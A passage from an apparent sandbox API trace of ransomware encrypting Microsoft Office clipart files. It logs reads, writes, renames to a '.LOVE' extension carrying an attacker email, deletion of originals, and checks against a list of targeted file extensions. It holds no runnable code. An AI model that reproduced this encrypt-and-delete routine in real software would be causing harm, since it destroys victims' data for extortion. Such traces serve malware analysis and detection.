hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0221.473] SetEndOfFile (hFile=0x33c) returned 1 [0221.474] CloseHandle (hObject=0x33c) returned 1 [0221.474] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0221.474] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf")) returned 1 [0221.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0221.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0221.475] lstrlenW (lpString=".doc") returned 4 [0221.475] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.475] lstrlenW (lpString=".docx") returned 5 [0221.475] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.475] lstrlenW (lpString=".pdf") returned 4 [0221.475] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.475] lstrlenW (lpString=".xls") returned 4 [0221.475] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.475] lstrlenW (lpString=".xlsx") returned 5 [0221.475] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.475] lstrlenW (lpString=".ppt") returned 4 [0221.475] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0221.475] lstrlenW (lpString=".zip") returned 4 [0221.475] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.475] lstrlenW (lpString=".rar") returned 4 [0221.475] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.475] lstrlenW (lpString=".bz2") returned 4 [0221.475] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.475] lstrlenW (lpString=".7z") returned 3 [0221.475] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0221.475] lstrlenW (lpString=".dbf") returned 4 [0221.475] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0221.475] lstrlenW (lpString=".1cd") returned 4 [0221.475] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0221.475] lstrlenW (lpString=".jpg") returned 4 [0221.475] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.476] GetLastError () returned 0x0 [0221.476] ReadFile (in: hFile=0x33c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x6852, lpOverlapped=0x0) returned 1 [0221.485] WriteFile (in: hFile=0x330, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x6860, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x6860, lpOverlapped=0x0) returned 1 [0221.487] ReadFile (in: hFile=0x33c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0221.487] WriteFile (in: hFile=0x330, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0221.487] SetEndOfFile (hFile=0x330) returned 1 [0221.487] CloseHandle (hObject=0x330) returned 1 [0221.487] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0221.487] SetEndOfFile (hFile=0x33c) returned 1 [0221.488] CloseHandle (hObject=0x33c) returned 1 [0221.488] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0221.488] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf")) returned 1 [0221.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0221.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0221.489] lstrlenW (lpString=".doc") returned 4 [0221.489] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.489] lstrlenW (lpString=".docx") returned 5 [0221.489] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.489] lstrlenW (lpString=".pdf") returned 4 [0221.489] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.489] lstrlenW (lpString=".xls") returned 4 [0221.489] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.489] lstrlenW (lpString=".xlsx") returned 5 [0221.489] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.489] lstrlenW (lpString=".ppt") returned 4 [0221.489] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0221.489] lstrlenW (lpString=".zip") returned 4 [0221.489] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.489] lstrlenW (lpString=".rar") returned 4 [0221.489] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.489] lstrlenW (lpString=".bz2") returned 4 [0221.489] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.489] lstrlenW (lpString=".7z") returned 3 [0221.489] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0221.489] lstrlenW (lpString=".dbf") returned 4 [0221.490] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0221.490] lstrlenW (lpString=".1cd") returned 4 [0221.490] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0221.490] lstrlenW (lpString=".jpg") returned 4 [0221.490] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.490] GetLastError () returned 0x0 [0221.490] ReadFile (in: hFile=0x33c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0xa90, lpOverlapped=0x0) returned 1 [0221.501] WriteFile (in: hFile=0x330, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xaa0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xaa0, lpOverlapped=0x0) returned 1 [0221.502] ReadFile (in: hFile=0x33c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0221.502] WriteFile (in: hFile=0x330, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0221.502] SetEndOfFile (hFile=0x330) returned 1 [0221.503] CloseHandle (hObject=0x330) returned 1 [0221.503] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0221.503] SetEndOfFile (hFile=0x33c) returned 1 [0221.504] CloseHandle (hObject=0x33c) returned 1 [0221.504] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0221.504] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf")) returned 1 [0221.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0221.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0221.505] lstrlenW (lpString=".doc") returned 4 [0221.505] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.505] lstrlenW (lpString=".docx") returned 5 [0221.505] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.505] lstrlenW (lpString=".pdf") returned 4 [0221.505] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.505] lstrlenW (lpString=".xls") returned 4 [0221.505] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.505] lstrlenW (lpString=".xlsx") returned 5 [0221.505] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.505] lstrlenW (lpString=".ppt") returned 4 [0221.505] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0221.505] lstrlenW (lpString=".zip") returned 4 [0221.505] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.505] lstrlenW (lpString=".rar") returned 4 [0221.505] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.505] lstrlenW (lpString=".bz2") returned 4 [0221.505] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.505] lstrlenW (lpString=".7z") returned 3 [0221.505] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0221.505] lstrlenW (lpString=".dbf") returned 4 [0221.505] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0221.505] lstrlenW (lpString=".1cd") returned 4 [0221.505] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0221.506] lstrlenW (lpString=".jpg") returned 4 [0221.506] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.506] GetLastError () returned 0x0 [0221.507] ReadFile (in: hFile=0x33c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x1efc, lpOverlapped=0x0) returned 1 [0221.522] WriteFile (in: hFile=0x330, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x1f00, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x1f00, lpOverlapped=0x0) returned 1 [0221.523] ReadFile (in: hFile=0x33c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0221.523] WriteFile (in: hFile=0x330, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0221.524] SetEndOfFile (hFile=0x330) returned 1 [0221.524] CloseHandle (hObject=0x330) returned 1 [0221.524] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0221.524] SetEndOfFile (hFile=0x33c) returned 1 [0221.525] CloseHandle (hObject=0x33c) returned 1 [0221.525] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0221.525] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf")) returned 1 [0221.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0221.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0221.526] lstrlenW (lpString=".doc") returned 4 [0221.526] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.526] lstrlenW (lpString=".docx") returned 5 [0221.526] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.526] lstrlenW (lpString=".pdf") returned 4 [0221.526] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.526] lstrlenW (lpString=".xls") returned 4 [0221.526] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.526] lstrlenW (lpString=".xlsx") returned 5 [0221.526] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.526] lstrlenW (lpString=".ppt") returned 4 [0221.526] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0221.526] lstrlenW (lpString=".zip") returned 4 [0221.526] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.526] lstrlenW (lpString=".rar") returned 4 [0221.527] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.527] lstrlenW (lpString=".bz2") returned 4 [0221.527] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.527] lstrlenW (lpString=".7z") returned 3 [0221.527] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0221.527] lstrlenW (lpString=".dbf") returned 4 [0221.527] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0221.527] lstrlenW (lpString=".1cd") returned 4 [0221.527] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0221.527] lstrlenW (lpString=".jpg") returned 4 [0221.527] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.528] GetLastError () returned 0x0 [0221.528] ReadFile (in: hFile=0x33c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x136a, lpOverlapped=0x0) returned 1 [0221.553] WriteFile (in: hFile=0x330, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x1370, lpOverlapped=0x0) returned 1 [0221.555] ReadFile (in: hFile=0x33c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0221.555] WriteFile (in: hFile=0x330, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0221.555] SetEndOfFile (hFile=0x330) returned 1 [0221.555] CloseHandle (hObject=0x330) returned 1 [0221.555] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0221.555] SetEndOfFile (hFile=0x33c) returned 1 [0221.556] CloseHandle (hObject=0x33c) returned 1 [0221.556] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0221.557] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf")) returned 1 [0221.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0221.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0221.557] lstrlenW (lpString=".doc") returned 4 [0221.557] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.557] lstrlenW (lpString=".docx") returned 5 [0221.557] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.557] lstrlenW (lpString=".pdf") returned 4 [0221.557] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.557] lstrlenW (lpString=".xls") returned 4 [0221.557] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.557] lstrlenW (lpString=".xlsx") returned 5 [0221.557] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.557] lstrlenW (lpString=".ppt") returned 4 [0221.557] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0221.558] lstrlenW (lpString=".zip") returned 4 [0221.558] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.558] lstrlenW (lpString=".rar") returned 4 [0221.558] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.558] lstrlenW (lpString=".bz2") returned 4 [0221.558] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.558] lstrlenW (lpString=".7z") returned 3 [0221.558] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0221.558] lstrlenW (lpString=".dbf") returned 4 [0221.558] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0221.558] lstrlenW (lpString=".1cd") returned 4 [0221.558] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0221.558] lstrlenW (lpString=".jpg") returned 4 [0221.558] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.602] GetLastError () returned 0x0 [0221.602] ReadFile (in: hFile=0x354, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x5664, lpOverlapped=0x0) returned 1 [0221.634] WriteFile (in: hFile=0x374, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x5670, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x5670, lpOverlapped=0x0) returned 1 [0221.635] ReadFile (in: hFile=0x354, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0221.635] WriteFile (in: hFile=0x374, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0221.636] SetEndOfFile (hFile=0x374) returned 1 [0221.648] CloseHandle (hObject=0x374) returned 1 [0221.650] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0221.650] SetEndOfFile (hFile=0x354) returned 1 [0221.651] CloseHandle (hObject=0x354) returned 1 [0221.652] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0221.652] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf")) returned 1 [0221.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0221.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0221.653] lstrlenW (lpString=".doc") returned 4 [0221.653] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.653] lstrlenW (lpString=".docx") returned 5 [0221.653] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.653] lstrlenW (lpString=".pdf") returned 4 [0221.653] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.653] lstrlenW (lpString=".xls") returned 4 [0221.653] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.653] lstrlenW (lpString=".xlsx") returned 5 [0221.653] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.653] lstrlenW (lpString=".ppt") returned 4 [0221.653] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0221.653] lstrlenW (lpString=".zip") returned 4 [0221.653] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.653] lstrlenW (lpString=".rar") returned 4 [0221.653] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.653] lstrlenW (lpString=".bz2") returned 4 [0221.653] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.653] lstrlenW (lpString=".7z") returned 3 [0221.653] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0221.654] lstrlenW (lpString=".dbf") returned 4 [0221.654] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0221.654] lstrlenW (lpString=".1cd") returned 4 [0221.654] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0221.654] lstrlenW (lpString=".jpg") returned 4 [0221.654] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.656] GetLastError () returned 0x0 [0221.657] ReadFile (in: hFile=0x2d8, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x318, lpOverlapped=0x0) returned 1 [0221.962] WriteFile (in: hFile=0x374, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x320, lpOverlapped=0x0) returned 1 [0221.964] ReadFile (in: hFile=0x2d8, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0221.964] WriteFile (in: hFile=0x374, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0221.964] SetEndOfFile (hFile=0x374) returned 1 [0221.964] CloseHandle (hObject=0x374) returned 1 [0221.964] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0221.964] SetEndOfFile (hFile=0x2d8) returned 1 [0221.965] CloseHandle (hObject=0x2d8) returned 1 [0221.965] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0221.966] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf")) returned 1 [0221.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0221.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0221.966] lstrlenW (lpString=".doc") returned 4 [0221.966] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.966] lstrlenW (lpString=".docx") returned 5 [0221.966] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.966] lstrlenW (lpString=".pdf") returned 4 [0221.966] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.967] lstrlenW (lpString=".xls") returned 4 [0221.967] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.967] lstrlenW (lpString=".xlsx") returned 5 [0221.967] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.967] lstrlenW (lpString=".ppt") returned 4 [0221.967] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 